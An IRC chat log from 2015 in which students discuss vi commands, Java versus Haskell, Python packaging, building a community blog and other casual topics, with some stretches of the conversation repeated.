[2015-02-08T21:26:46-0500] <+LittleBobbyTables> I'm definitely not asking, I'm just posting questions I find interesting.
[2015-02-08T21:29:37-0500] <+LittleBobbyTables> wait
[2015-02-08T21:29:41-0500] <+LittleBobbyTables> I need clarification on this question
[2015-02-08T21:29:59-0500] <+LittleBobbyTables> "Assume you are in command mode. What the vi command(s) would you use to delete or cut the current line?  "
[2015-02-08T21:30:20-0500] <+hardmath123> dd
[2015-02-08T21:30:20-0500] <+LittleBobbyTables> deleting wouldn't add to the buffer, but cutting would...
[2015-02-08T21:30:31-0500] <+LittleBobbyTables> there's a difference between cutting and deleting though
[2015-02-08T21:30:37-0500] <+LittleBobbyTables> would it just be dd?
[2015-02-08T21:31:19-0500] <+ubuntor> should be?
[2015-02-08T21:31:31-0500] <+hardmath123> dd
[2015-02-08T21:31:34-0500] <+hardmath123> i'm pretty sure
[2015-02-08T21:31:39-0500] <+hardmath123> delete == cut in vim iirc
[2015-02-08T21:31:48-0500] <+hardmath123> yy to copy (yank)
[2015-02-08T21:32:00-0500] <+LittleBobbyTables> mk
[2015-02-08T21:53:54-0500] <+awe> hardmath123: my first immediate criticism is that Java is *NOT* OOP.
[2015-02-08T21:54:23-0500] <+hardmath123> -_-
[2015-02-08T21:54:26-0500] <+awe> I mean, not exclusively anyway.
[2015-02-08T21:54:43-0500] <+hardmath123> Tear it apart it is, then.
[2015-02-08T21:54:43-0500] <+awe> Putting something in a container labelled "Object" doesn't actually mean you're thinking with respects to objects.
[2015-02-08T21:55:03-0500] <+awe> ML isn't a language, but your point is valid.
[2015-02-08T21:55:44-0500] <+awe> Haskell prohibits side-effects, but does have monads that allow you to represent side effects. So, it's not so clear cut.
[2015-02-08T21:55:54-0500] <+awe> And purity doesn't make a language more-or-less functional.
[2015-02-08T21:56:03-0500] <+awe> Purity is a separate attribute.
[2015-02-08T21:56:21-0500] <+awe> I agree completely with the point about Java causing code bloat and over-abstraction.
[2015-02-08T21:56:41-0500] <+awe> It's perhaps worth noting that this comes from the way Java defines interfaces and so forth.
[2015-02-08T21:57:02-0500] <+awe> Haskell works at a high level of abstraction, but it does so by encouraging generic functions, not by encouraging weird relationships of common interfaces and so forth.
[2015-02-08T21:57:12-0500] <+awe> The former reduces boilerplate. The latter creates it.
[2015-02-08T21:57:30-0500] <+awe> I can't even believe that people believe #3, but I trust your judgement in saying that people do.
[2015-02-08T21:57:34-0500] <+awe> I feel bad for these peopel.
[2015-02-08T21:57:36-0500] <+awe> people*
[2015-02-08T21:58:01-0500] <+awe> So, you're a bit wrong about the typechecking information.
[2015-02-08T21:58:03-0500] <+awe> It's entirely language dependent.
[2015-02-08T21:58:10-0500] <+awe> So, Haskell has full type erasure. So, at runtime, there are no times.
[2015-02-08T21:58:12-0500] <+awe> types*
[2015-02-08T21:58:24-0500] <+awe> This is advantageous because the program is already validated, but you don't have to do any runtime typechecking.
[2015-02-08T21:58:39-0500] <+awe> Some languages have to keep type information around (Java, for example).
[2015-02-08T21:58:54-0500] <+awe> This is a burden at runtime.
[2015-02-08T21:59:42-0500] <+awe> I'd shy away from comparing type safety to a lint at all.
[2015-02-08T22:00:02-0500] <+awe> It's a system of formal verification.
[2015-02-08T22:00:10-0500] <+awe> The stronger the type system, the stronger that verification.
[2015-02-08T22:00:34-0500] <+awe> I'm disappointed that you described it as the enemy.
[2015-02-08T22:04:49-0500] <+awe> hardmath123: Overall, I'm pleased. I think I'm close to converting you.
[2015-02-08T22:05:31-0500] <+awe> hardmath123: Those were my whole thoughts as I thought them while reading it.
[2015-02-08T22:27:16-0500] <Hyper> awe: calling java not oop is ridiculous
[2015-02-08T22:27:32-0500] <Hyper> Yes, there are problems related to casting to Object
[2015-02-08T22:27:45-0500] <Hyper> but that's a type safety issue, not an oop issue
[2015-02-08T22:28:40-0500] <Hyper> ok wait I promised myself I wouldn't get into language debates shit
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[2015-02-08T23:12:22-0500] <+LittleBobbyTables> how do you remove just tabs from a file?
[2015-02-08T23:12:48-0500] <+LittleBobbyTables> i know whitespace
[2015-02-08T23:24:41-0500] <+LittleBobbyTables> nvm got it
[2015-02-08T23:49:38-0500] <+awe> Hyper: that's not really what I meant.
[2015-02-08T23:50:21-0500] <+awe> Hyper: he described Java as being "hardcore imperative OOP"
[2015-02-08T23:50:42-0500] <+awe> Hyper: and I don't agree with the classification as hardcore OOP. Static methods are basically just functions.
[2015-02-08T23:51:09-0500] <Hyper> I don't think having static methods disqualifies it as hardcore OOP
[2015-02-08T23:52:01-0500] <+awe> Java is hardcore stick-everything-in-objects.
[2015-02-08T23:52:16-0500] <+awe> But I don't think that that's necessarily OOP.
[2015-02-08T23:52:55-0500] <+awe> And I think hardcore implies that it's the embodiment of a paradigm, and I don't think that's true of Java and OOP.
[2015-02-09T00:32:23-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/I07SlYuK
[2015-02-09T00:32:29-0500] <+LittleBobbyTables> https://www.irccloud.com/pastebin/8fA87Fgh
[2015-02-09T00:33:54-0500] <+LittleBobbyTables> last two questions
[2015-02-09T00:41:53-0500] <+LittleBobbyTables> if anyone would kindly give their input on them
[2015-02-09T00:45:32-0500] <bob_twinkles> C, A
[2015-02-09T00:45:38-0500] <bob_twinkles> I'm not 100% on 1 though
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[2015-02-09T10:15:49-0500] <The_Master> I think I might have accidentally crashed the njfps website.
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[2015-02-09T10:35:15-0500] <JacobEdelman_> awe: fun fact
[2015-02-09T10:35:27-0500] <JacobEdelman_> awe: I can't connect over non http/https sockets at school
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[2015-02-09T10:45:07-0500] <JacobEdelman_> awe: howze about we use this for the pdgn blog: http://hubpress.io/index.html
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[2015-02-09T11:58:31-0500] <+awe> JacobEdelman_: it's vaguely interesting.
[2015-02-09T11:58:38-0500] <+awe> JacobEdelman: do we really need an editing interface though?
[2015-02-09T11:58:46-0500] <JacobEdelman_> I don't know? it would be nice
[2015-02-09T11:58:52-0500] <JacobEdelman_> and I mean, it looked rather simple and easy
[2015-02-09T11:59:40-0500] <+awe> It looks rather intricate and requiring a ton of javascript.
[2015-02-09T12:01:42-0500] <+awe> JacobEdelman: it also uses AsciiDoc and not MD.
[2015-02-09T12:11:18-0500] <JacobEdelman_> well, its up to you
[2015-02-09T12:11:21-0500] <JacobEdelman_> lemme look at it a bit more
[2015-02-09T12:12:33-0500] <+awe> I really don't mind using jekyll for it. You'd just make a commit adding the post and then the site would rebuild.
[2015-02-09T12:16:41-0500] <+awe> JacobEdelman_: https://github.com/plasma-umass/doppio
[2015-02-09T12:17:16-0500] <JacobEdelman_> I've seen that
[2015-02-09T12:17:24-0500] <JacobEdelman_> awe: than set up the blog
[2015-02-09T12:18:17-0500] <+awe> Did you notice where it's from?
[2015-02-09T12:19:32-0500] <JacobEdelman_> I just did
[2015-02-09T12:50:24-0500] <+awe> hardmath123: hamelin needs to define how certain things are handled.
[2015-02-09T12:51:32-0500] <+awe> hardmath123: It seems that in the case of your server it forwards along ^D as an EOF character?
[2015-02-09T12:51:48-0500] <+awe> hardmath123: mine doesn't do that and so your script doesn't work.
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[2015-02-09T12:56:47-0500] <+awe> hardmath123: or actually maybe this is just some weirdness with netcat? I unno.
[2015-02-09T12:58:21-0500] <Hyper> I dread the day somebody is brave enough to run a linter or a style checker on my code :(
[2015-02-09T12:59:14-0500] <JacobEdelman_> Hyper: same...
[2015-02-09T12:59:35-0500] <apothy> JacobEdelman_: awe already does that with you sometimes
[2015-02-09T12:59:39-0500] <apothy> but with more enthusiasm :P
[2015-02-09T12:59:45-0500] <JacobEdelman_> yup :P
[2015-02-09T12:59:56-0500] <+awe> Hyper: is your code that bad?
[2015-02-09T13:00:02-0500] <Hyper> it's hard to read
[2015-02-09T13:00:05-0500] <Hyper> sometimes
[2015-02-09T13:01:31-0500] <Hyper> there's also a bunch of inconsistencies as to where I put newlines
[2015-02-09T13:02:09-0500] <Hyper> for instance,
[2015-02-09T13:02:10-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L15
[2015-02-09T13:02:10-0500] <Hyper> vs
[2015-02-09T13:02:18-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L31
[2015-02-09T13:02:24-0500] <JacobEdelman_> hardmath123: hmm... what would you think of a simple python library to simplify hamelin input and output in python a bit more?
[2015-02-09T13:02:50-0500] <JacobEdelman_> Hyper: oh god
[2015-02-09T13:02:56-0500] <JacobEdelman_> Hyper: you think that is bad code?
[2015-02-09T13:03:29-0500] <Hyper> the whole file is unreadable BS unless you built the mess from the dirt up
[2015-02-09T13:04:21-0500] <Hyper> JacobEdelman_: it's not bad code, it's inconsistent code :<
[2015-02-09T13:04:35-0500] <JacobEdelman_> I can read it
[2015-02-09T13:04:36-0500] <JacobEdelman_> :P
[2015-02-09T13:06:12-0500] <+awe> Hyper: oh, that is pretty gross.
[2015-02-09T13:06:33-0500] <Hyper> to be fair this is my "fuck around in class and make something pretty" project
[2015-02-09T13:06:51-0500] <+awe> And sometimes you don't put spaces in places that out to have spaces.
[2015-02-09T13:06:53-0500] <+awe> while(running)
[2015-02-09T13:07:15-0500] <Hyper> at some point the style police will come and get me
[2015-02-09T13:10:32-0500] <+awe> Probably.
[2015-02-09T13:10:46-0500] <+awe> hardmath123: I think it was because I wasn't sending sigterm, but yeah, I still have a ways to go.
[2015-02-09T13:10:54-0500] <+awe> hardmath123: as does the spec.
[2015-02-09T13:11:04-0500] <+awe> hardmath123: I do think this is pretty neat though.
[2015-02-09T13:57:05-0500] <JacobEdelman_> Hyper: on the final code geass episode right now
[2015-02-09T13:57:11-0500] <Hyper> ooooh
[2015-02-09T13:57:13-0500] <Hyper> yay
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[2015-02-09T11:58:31-0500] <+awe> JacobEdelman_: it's vaguely interesting.
[2015-02-09T11:58:38-0500] <+awe> JacobEdelman: do we really need an editing interface though?
[2015-02-09T11:58:45-0500] <JacobEdelman_> I don't know? it would be nice
[2015-02-09T11:58:52-0500] <JacobEdelman_> and I mean, it looked rather simple and easy
[2015-02-09T11:59:40-0500] <+awe> It looks rather intricate and requiring a ton of javascript.
[2015-02-09T12:01:42-0500] <+awe> JacobEdelman: it also uses AsciiDoc and not MD.
[2015-02-09T12:11:18-0500] <JacobEdelman_> well, its up to you
[2015-02-09T12:11:21-0500] <JacobEdelman_> lemme look at it a bit more
[2015-02-09T12:12:33-0500] <+awe> I really don't mind using jekyll for it. You'd just make a commit adding the post and then the site would rebuild.
[2015-02-09T12:16:41-0500] <+awe> JacobEdelman_: https://github.com/plasma-umass/doppio
[2015-02-09T12:17:16-0500] <JacobEdelman_> I've seen that
[2015-02-09T12:17:24-0500] <JacobEdelman_> awe: than set up the blog
[2015-02-09T12:18:17-0500] <+awe> Did you notice where it's from?
[2015-02-09T12:19:32-0500] <JacobEdelman_> I just did
[2015-02-09T12:50:24-0500] <+awe> hardmath123: hamelin needs to define how certain things are handled.
[2015-02-09T12:51:32-0500] <+awe> hardmath123: It seems that in the case of your server it forwards along ^D as an EOF character?
[2015-02-09T12:51:48-0500] <+awe> hardmath123: mine doesn't do that and so your script doesn't work.
[2015-02-09T12:56:47-0500] <+awe> hardmath123: or actually maybe this is just some weirdness with netcat? I unno.
[2015-02-09T12:58:21-0500] <Hyper> I dread the day somebody is brave enough to run a linter or a style checker on my code :(
[2015-02-09T12:59:14-0500] <JacobEdelman_> Hyper: same...
[2015-02-09T12:59:35-0500] <apothy> JacobEdelman_: awe already does that with you sometimes
[2015-02-09T12:59:39-0500] <apothy> but with more enthusiasm :P
[2015-02-09T12:59:45-0500] <JacobEdelman_> yup :P
[2015-02-09T12:59:56-0500] <+awe> Hyper: is your code that bad?
[2015-02-09T13:00:02-0500] <Hyper> it's hard to read
[2015-02-09T13:00:05-0500] <Hyper> sometimes
[2015-02-09T13:01:31-0500] <Hyper> there's also a bunch of inconsistencies as to where I put newlines
[2015-02-09T13:02:09-0500] <Hyper> for instance,
[2015-02-09T13:02:10-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L15
[2015-02-09T13:02:10-0500] <Hyper> vs
[2015-02-09T13:02:18-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L31
[2015-02-09T13:02:24-0500] <JacobEdelman_> hardmath123: hmm... what would you think of a simple python library to simplify hamelin input and output in python a bit more?
[2015-02-09T13:02:50-0500] <JacobEdelman_> Hyper: oh god
[2015-02-09T13:02:56-0500] <JacobEdelman_> Hyper: you think that is bad code?
[2015-02-09T13:03:29-0500] <Hyper> the whole file is unreadable BS unless you built the mess from the dirt up
[2015-02-09T13:04:21-0500] <Hyper> JacobEdelman_: it's not bad code, it's inconsistent code :<
[2015-02-09T13:04:35-0500] <JacobEdelman_> I can read it
[2015-02-09T13:04:36-0500] <JacobEdelman_> :P
[2015-02-09T13:06:11-0500] <+awe> Hyper: oh, that is pretty gross.
[2015-02-09T13:06:33-0500] <Hyper> to be fair this is my "fuck around in class and make something pretty" project
[2015-02-09T13:06:51-0500] <+awe> And sometimes you don't put spaces in places that out to have spaces.
[2015-02-09T13:06:53-0500] <+awe> while(running)
[2015-02-09T13:07:15-0500] <Hyper> at some point the style police will come and get me
[2015-02-09T13:10:32-0500] <+awe> Probably.
[2015-02-09T13:10:46-0500] <+awe> hardmath123: I think it was because I wasn't sending sigterm, but yeah, I still have a ways to go.
[2015-02-09T13:10:54-0500] <+awe> hardmath123: as does the spec.
[2015-02-09T13:11:04-0500] <+awe> hardmath123: I do think this is pretty neat though.
[2015-02-09T13:57:05-0500] <JacobEdelman_> Hyper: on the final code geass episode right now
[2015-02-09T13:57:11-0500] <Hyper> ooooh
[2015-02-09T13:57:13-0500] <Hyper> yay
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[2015-02-09T11:58:31-0500] <+awe> JacobEdelman_: it's vaguely interesting.
[2015-02-09T11:58:38-0500] <+awe> JacobEdelman: do we really need an editing interface though?
[2015-02-09T11:58:45-0500] <JacobEdelman_> I don't know? it would be nice
[2015-02-09T11:58:52-0500] <JacobEdelman_> and I mean, it looked rather simple and easy
[2015-02-09T11:59:40-0500] <+awe> It looks rather intricate and requiring a ton of javascript.
[2015-02-09T12:01:42-0500] <+awe> JacobEdelman: it also uses AsciiDoc and not MD.
[2015-02-09T12:11:18-0500] <JacobEdelman_> well, its up to you
[2015-02-09T12:11:21-0500] <JacobEdelman_> lemme look at it a bit more
[2015-02-09T12:12:33-0500] <+awe> I really don't mind using jekyll for it. You'd just make a commit adding the post and then the site would rebuild.
[2015-02-09T12:16:41-0500] <+awe> JacobEdelman_: https://github.com/plasma-umass/doppio
[2015-02-09T12:17:16-0500] <JacobEdelman_> I've seen that
[2015-02-09T12:17:24-0500] <JacobEdelman_> awe: than set up the blog
[2015-02-09T12:18:17-0500] <+awe> Did you notice where it's from?
[2015-02-09T12:19:32-0500] <JacobEdelman_> I just did
[2015-02-09T12:50:24-0500] <+awe> hardmath123: hamelin needs to define how certain things are handled.
[2015-02-09T12:51:32-0500] <+awe> hardmath123: It seems that in the case of your server it forwards along ^D as an EOF character?
[2015-02-09T12:51:48-0500] <+awe> hardmath123: mine doesn't do that and so your script doesn't work.
[2015-02-09T12:56:47-0500] <+awe> hardmath123: or actually maybe this is just some weirdness with netcat? I unno.
[2015-02-09T12:58:21-0500] <Hyper> I dread the day somebody is brave enough to run a linter or a style checker on my code :(
[2015-02-09T12:59:14-0500] <JacobEdelman_> Hyper: same...
[2015-02-09T12:59:35-0500] <apothy> JacobEdelman_: awe already does that with you sometimes
[2015-02-09T12:59:39-0500] <apothy> but with more enthusiasm :P
[2015-02-09T12:59:45-0500] <JacobEdelman_> yup :P
[2015-02-09T12:59:56-0500] <+awe> Hyper: is your code that bad?
[2015-02-09T13:00:02-0500] <Hyper> it's hard to read
[2015-02-09T13:00:05-0500] <Hyper> sometimes
[2015-02-09T13:01:31-0500] <Hyper> there's also a bunch of inconsistencies as to where I put newlines
[2015-02-09T13:02:09-0500] <Hyper> for instance,
[2015-02-09T13:02:10-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L15
[2015-02-09T13:02:10-0500] <Hyper> vs
[2015-02-09T13:02:18-0500] <Hyper> https://github.com/Hypersonic/Tionanima/blob/master/source/app.d#L31
[2015-02-09T13:02:24-0500] <JacobEdelman_> hardmath123: hmm... what would you think of a simple python library to simplify hamelin input and output in python a bit more?
[2015-02-09T13:02:50-0500] <JacobEdelman_> Hyper: oh god
[2015-02-09T13:02:56-0500] <JacobEdelman_> Hyper: you think that is bad code?
[2015-02-09T13:03:29-0500] <Hyper> the whole file is unreadable BS unless you built the mess from the dirt up
[2015-02-09T13:04:21-0500] <Hyper> JacobEdelman_: it's not bad code, it's inconsistent code :<
[2015-02-09T13:04:35-0500] <JacobEdelman_> I can read it
[2015-02-09T13:04:36-0500] <JacobEdelman_> :P
[2015-02-09T13:06:11-0500] <+awe> Hyper: oh, that is pretty gross.
[2015-02-09T13:06:33-0500] <Hyper> to be fair this is my "fuck around in class and make something pretty" project
[2015-02-09T13:06:51-0500] <+awe> And sometimes you don't put spaces in places that out to have spaces.
[2015-02-09T13:06:53-0500] <+awe> while(running)
[2015-02-09T13:07:15-0500] <Hyper> at some point the style police will come and get me
[2015-02-09T13:10:32-0500] <+awe> Probably.
[2015-02-09T13:10:46-0500] <+awe> hardmath123: I think it was because I wasn't sending sigterm, but yeah, I still have a ways to go.
[2015-02-09T13:10:54-0500] <+awe> hardmath123: as does the spec.
[2015-02-09T13:11:04-0500] <+awe> hardmath123: I do think this is pretty neat though.
[2015-02-09T13:57:05-0500] <JacobEdelman_> Hyper: on the final code geass episode right now
[2015-02-09T13:57:11-0500] <Hyper> ooooh
[2015-02-09T13:57:13-0500] <Hyper> yay
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[2015-02-09T14:17:43-0500] <JacobEdelman_> Hyper: done
[2015-02-09T14:17:46-0500] <JacobEdelman_> it was good
[2015-02-09T14:17:48-0500] <Hyper> :D
[2015-02-09T14:17:51-0500] <JacobEdelman_> although I predicted the ending
[2015-02-09T14:17:55-0500] <Hyper> D:
[2015-02-09T14:17:55-0500] <JacobEdelman_> an episode in advanced 
[2015-02-09T14:17:59-0500] <JacobEdelman_> but it was still good
[2015-02-09T14:18:07-0500] <JacobEdelman_> they managed to tie it all up well and everything
[2015-02-09T14:18:09-0500] <JacobEdelman_> I'm happy
[2015-02-09T14:18:21-0500] <JacobEdelman_> I was worried about the ending
[2015-02-09T14:18:24-0500] <JacobEdelman_> but they did not dissapoint
[2015-02-09T14:20:30-0500] <Hyper> :D
[2015-02-09T14:21:51-0500] <+awe> hardmath123: I like your article digging into how Python distribution is garbage.
[2015-02-09T14:22:15-0500] <+awe> hardmath123: I hate even having to interact with python projects because of how many weird things I have to use.
[2015-02-09T14:23:31-0500] <JacobEdelman_> wait, a minute
[2015-02-09T14:23:34-0500] <JacobEdelman_> pip is easy to use
[2015-02-09T14:23:40-0500] <JacobEdelman_> just hard to set up if you want to put your own
[2015-02-09T14:23:42-0500] <JacobEdelman_> project on it
[2015-02-09T14:24:56-0500] <+awe> JacobEdelman_: except for when the project uses gyp
[2015-02-09T14:24:59-0500] <+awe> JacobEdelman_: or a number of other random things
[2015-02-09T14:25:07-0500] <+awe> JacobEdelman_: and then I have to figure out which stupid package manager this python project uses.
[2015-02-09T14:25:14-0500] <JacobEdelman_> only rarely have I encountered projects that don't use pip
[2015-02-09T14:25:20-0500] <JacobEdelman_> and for those that don't
[2015-02-09T14:25:26-0500] <JacobEdelman_> ./setup.py works
[2015-02-09T14:25:28-0500] <JacobEdelman_> or at the worst
[2015-02-09T14:25:37-0500] <JacobEdelman_> I can just add them to PATH or whatever
[2015-02-09T14:25:43-0500] <+awe> ...
[2015-02-09T14:25:44-0500] <+awe> Yeah, no.
[2015-02-09T14:25:48-0500] <+awe> That's the problem.
[2015-02-09T14:26:39-0500] <+awe> Also, gyp is actually a metabuild system for mostly JS projects.
[2015-02-09T14:26:50-0500] <+awe> Well, C++ projects.
[2015-02-09T14:26:54-0500] <+awe> that implement JS.
[2015-02-09T14:27:10-0500] <+awe> So, my b on that.
[2015-02-09T14:27:59-0500] <+awe> Doesn't change the fact that there's like nine million different package managers for python and they're all pretty bad.
[2015-02-09T14:28:06-0500] <+awe> JacobEdelman_: I've definitely had to use egg before.
[2015-02-09T14:29:04-0500] <JacobEdelman_> oh wait, yeah, I've struggled with egg a few times
[2015-02-09T14:29:16-0500] <JacobEdelman_> but from my what I've heard pip uses egg
[2015-02-09T14:29:27-0500] <JacobEdelman_> and egg uses setup.py
[2015-02-09T14:29:33-0500] <JacobEdelman_> so its just different levels of abstraction
[2015-02-09T14:29:49-0500] <+awe> That's garbage.
[2015-02-09T14:29:55-0500] <JacobEdelman_> well, whatever the cast
[2015-02-09T14:29:56-0500] <JacobEdelman_> *case
[2015-02-09T14:30:02-0500] <JacobEdelman_> make the blog, pretty please
[2015-02-09T14:30:16-0500] <+awe> We don't even have a page for pdgn.co yet.
[2015-02-09T14:30:24-0500] <+awe> http://pdgn.co
[2015-02-09T14:30:26-0500] <+awe> It literally just says pdgn.co
[2015-02-09T14:31:38-0500] <JacobEdelman_> great! its minimalistic!
[2015-02-09T14:31:39-0500] <JacobEdelman_> :P
[2015-02-09T14:31:49-0500] <+awe> It needs to at least say what pdgn.co is.
[2015-02-09T14:32:07-0500] <JacobEdelman_> just center it, make the text size larger, change the font, add a tag line, and lots of padding, and change the background to off-white
[2015-02-09T14:32:12-0500] <JacobEdelman_> than you are done
[2015-02-09T14:32:15-0500] <+awe> lol
[2015-02-09T14:32:18-0500] <JacobEdelman_> should take, like, 5 minutes
[2015-02-09T14:32:19-0500] <JacobEdelman_> :P
[2015-02-09T14:32:26-0500] <+awe> The involved part is writing the copy, honestly.
[2015-02-09T14:32:40-0500] <JacobEdelman_> the copy?
[2015-02-09T14:32:52-0500] <JacobEdelman_> also, you should look at zrl's site: http://zachlatta.com/
[2015-02-09T14:32:54-0500] <+awe> The text in the page.
[2015-02-09T14:33:01-0500] <+awe> Yes, I've seen it.
[2015-02-09T14:33:34-0500] <+awe> If I was going to do a page like that, I'd put everything in <pre>
[2015-02-09T14:35:00-0500] <+awe> And then formatted it with spaces instead of HTML.
[2015-02-09T14:35:08-0500] <+awe> like this: http://sprunge.us
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[2015-02-09T14:53:16-0500] Set by awe on February 3, 2015 at 9:47:16 PM EST
[2015-02-09T14:21:50-0500] <+awe> hardmath123: I like your article digging into how Python distribution is garbage.
[2015-02-09T14:22:15-0500] <+awe> hardmath123: I hate even having to interact with python projects because of how many weird things I have to use.
[2015-02-09T14:23:31-0500] <JacobEdelman_> wait, a minute
[2015-02-09T14:23:34-0500] <JacobEdelman_> pip is easy to use
[2015-02-09T14:23:40-0500] <JacobEdelman_> just hard to set up if you want to put your own
[2015-02-09T14:23:42-0500] <JacobEdelman_> project on it
[2015-02-09T14:24:56-0500] <+awe> JacobEdelman_: except for when the project uses gyp
[2015-02-09T14:24:59-0500] <+awe> JacobEdelman_: or a number of other random things
[2015-02-09T14:25:07-0500] <+awe> JacobEdelman_: and then I have to figure out which stupid package manager this python project uses.
[2015-02-09T14:25:14-0500] <JacobEdelman_> only rarely have I encountered projects that don't use pip
[2015-02-09T14:25:20-0500] <JacobEdelman_> and for those that don't
[2015-02-09T14:25:26-0500] <JacobEdelman_> ./setup.py works
[2015-02-09T14:25:28-0500] <JacobEdelman_> or at the worst
[2015-02-09T14:25:37-0500] <JacobEdelman_> I can just add them to PATH or whatever
[2015-02-09T14:25:43-0500] <+awe> ...
[2015-02-09T14:25:44-0500] <+awe> Yeah, no.
[2015-02-09T14:25:48-0500] <+awe> That's the problem.
[2015-02-09T14:26:39-0500] <+awe> Also, gyp is actually a metabuild system for mostly JS projects.
[2015-02-09T14:26:50-0500] <+awe> Well, C++ projects.
[2015-02-09T14:26:54-0500] <+awe> that implement JS.
[2015-02-09T14:27:10-0500] <+awe> So, my b on that.
[2015-02-09T14:27:59-0500] <+awe> Doesn't change the fact that there's like nine million different package managers for python and they're all pretty bad.
[2015-02-09T14:28:06-0500] <+awe> JacobEdelman_: I've definitely had to use egg before.
[2015-02-09T14:29:04-0500] <JacobEdelman_> oh wait, yeah, I've struggled with egg a few times
[2015-02-09T14:29:16-0500] <JacobEdelman_> but from my what I've heard pip uses egg
[2015-02-09T14:29:27-0500] <JacobEdelman_> and egg uses setup.py
[2015-02-09T14:29:33-0500] <JacobEdelman_> so its just different levels of abstraction
[2015-02-09T14:29:49-0500] <+awe> That's garbage.
[2015-02-09T14:29:55-0500] <JacobEdelman_> well, whatever the cast
[2015-02-09T14:29:56-0500] <JacobEdelman_> *case
[2015-02-09T14:30:02-0500] <JacobEdelman_> make the blog, pretty please
[2015-02-09T14:30:16-0500] <+awe> We don't even have a page for pdgn.co yet.
[2015-02-09T14:30:24-0500] <+awe> http://pdgn.co
[2015-02-09T14:30:26-0500] <+awe> It literally just says pdgn.co
[2015-02-09T14:31:38-0500] <JacobEdelman_> great! its minimalistic!
[2015-02-09T14:31:39-0500] <JacobEdelman_> :P
[2015-02-09T14:31:49-0500] <+awe> It needs to at least say what pdgn.co is.
[2015-02-09T14:32:07-0500] <JacobEdelman_> just center it, make the text size larger, change the font, add a tag line, and lots of padding, and change the background to off-white
[2015-02-09T14:32:12-0500] <JacobEdelman_> than you are done
[2015-02-09T14:32:15-0500] <+awe> lol
[2015-02-09T14:32:18-0500] <JacobEdelman_> should take, like, 5 minutes
[2015-02-09T14:32:19-0500] <JacobEdelman_> :P
[2015-02-09T14:32:26-0500] <+awe> The involved part is writing the copy, honestly.
[2015-02-09T14:32:40-0500] <JacobEdelman_> the copy?
[2015-02-09T14:32:52-0500] <JacobEdelman_> also, you should look at zrl's site: http://zachlatta.com/
[2015-02-09T14:32:54-0500] <+awe> The text in the page.
[2015-02-09T14:33:01-0500] <+awe> Yes, I've seen it.
[2015-02-09T14:33:34-0500] <+awe> If I was going to do a page like that, I'd put everything in <pre>
[2015-02-09T14:35:00-0500] <+awe> And then formatted it with spaces instead of HTML.
[2015-02-09T14:35:08-0500] <+awe> like this: http://sprunge.us
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[2015-02-09T15:23:01-0500] <JacobEdelman> I'm back on my normal irc client
[2015-02-09T15:23:18-0500] <+awe> Cool.
[2015-02-09T15:39:00-0500] <JacobEdelman> pdgn needs a motto
[2015-02-09T15:39:02-0500] <JacobEdelman> how about
[2015-02-09T15:39:17-0500] <JacobEdelman> where fitting in goes to die
[2015-02-09T15:39:18-0500] <JacobEdelman> or
[2015-02-09T15:39:19-0500] <JacobEdelman> :P
[2015-02-09T15:39:36-0500] <JacobEdelman> (I like the second one... short, simple, and encapsulating pdgns community)
[2015-02-09T15:43:21-0500] <The_Master> awe:how do I run rust programs?
[2015-02-09T15:43:29-0500] <+awe> Are they already compiled?
[2015-02-09T15:43:51-0500] <The_Master> I think so
[2015-02-09T15:43:59-0500] <+awe> Then the same way as anything else?
[2015-02-09T15:44:37-0500] <The_Master> Actually I don't think it is compiled
[2015-02-09T15:45:02-0500] <The_Master> would it just look like a binary file if so?
[2015-02-09T15:45:40-0500] <The_Master> actually, I think it give specific instructions
[2015-02-09T15:45:48-0500] <The_Master> jacob lied to me
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[2015-02-09T15:55:05-0500] <+awe> The_Master: if it's compiled then it's just going to be a binary, yeah.
[2015-02-09T15:55:17-0500] <+awe> The_Master: if it's a bunch of source files, you have to build it and that depends on whether or not they use cargo.
[2015-02-09T15:55:22-0500] <+awe> The_Master: if they use cargo, cargo build will work.
[2015-02-09T15:58:02-0500] <JacobEdelman> awe: do you like my pdgn motto ideas? :P
[2015-02-09T16:00:32-0500] <+awe> No.
[2015-02-09T16:00:33-0500] <+awe> They're awful.
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[2015-02-09T16:02:14-0500] <Hyper> pdgn: Skyrats of the internet
[2015-02-09T16:08:10-0500] <JacobEdelman> HSCS.io is now sponsored by namecheap
[2015-02-09T16:08:23-0500] <JacobEdelman> there gonna give us 100 dollars in namecheap credits per competition
[2015-02-09T16:08:24-0500] <JacobEdelman> :)
[2015-02-09T16:13:47-0500] <+awe> As a prize?
[2015-02-09T16:14:15-0500] <+awe> I have a pdgn email now!
[2015-02-09T16:14:20-0500] <+awe> And a public alias
[2015-02-09T16:14:20-0500] <+awe> !
[2015-02-09T16:15:39-0500] <JacobEdelman> awe: yes, as a prize
[2015-02-09T16:15:44-0500] <JacobEdelman> awe: can I have a pdgn email?
[2015-02-09T16:15:48-0500] <+awe> No. :)
[2015-02-09T16:15:55-0500] <JacobEdelman> awe: awwwwwwwwe....
[2015-02-09T16:15:57-0500] <+awe> It costs money.
[2015-02-09T16:16:02-0500] <+awe> $1.24/mo/mailbox
[2015-02-09T16:16:06-0500] <JacobEdelman> wait, what, why?
[2015-02-09T16:16:19-0500] <+awe> Because if I hosted it myself, it'd be unsendable.
[2015-02-09T16:16:30-0500] <+awe> I'm using Namecheap's Business mail hosting.
[2015-02-09T16:16:34-0500] <+awe> So, I get Exchange access.
[2015-02-09T16:16:49-0500] <JacobEdelman> hmmm... I
[2015-02-09T16:17:10-0500] <JacobEdelman> hmmm....
[2015-02-09T16:17:28-0500] <JacobEdelman> awe: do you have any better motto ideas?
[2015-02-09T16:17:32-0500] <+awe> Not having one?
[2015-02-09T16:17:37-0500] <JacobEdelman> what? NO
[2015-02-09T16:17:46-0500] <JacobEdelman> I'll make an unofficial one if you don't make an official one
[2015-02-09T16:18:08-0500] <+awe> Feel free to say whatever you want, but I'm sure as hell not going to endorse it.
[2015-02-09T16:18:17-0500] <+awe> And it will never show up on the site.
[2015-02-09T16:18:33-0500] <JacobEdelman> hmm...
[2015-02-09T16:18:44-0500] <JacobEdelman> you know, the xkcd irc has a publically settable topic
[2015-02-09T16:19:00-0500] <+awe> We could, but you'd totally remove the donate link.
[2015-02-09T16:19:02-0500] <JacobEdelman> except you're exepcted to append to the topic, not delete it
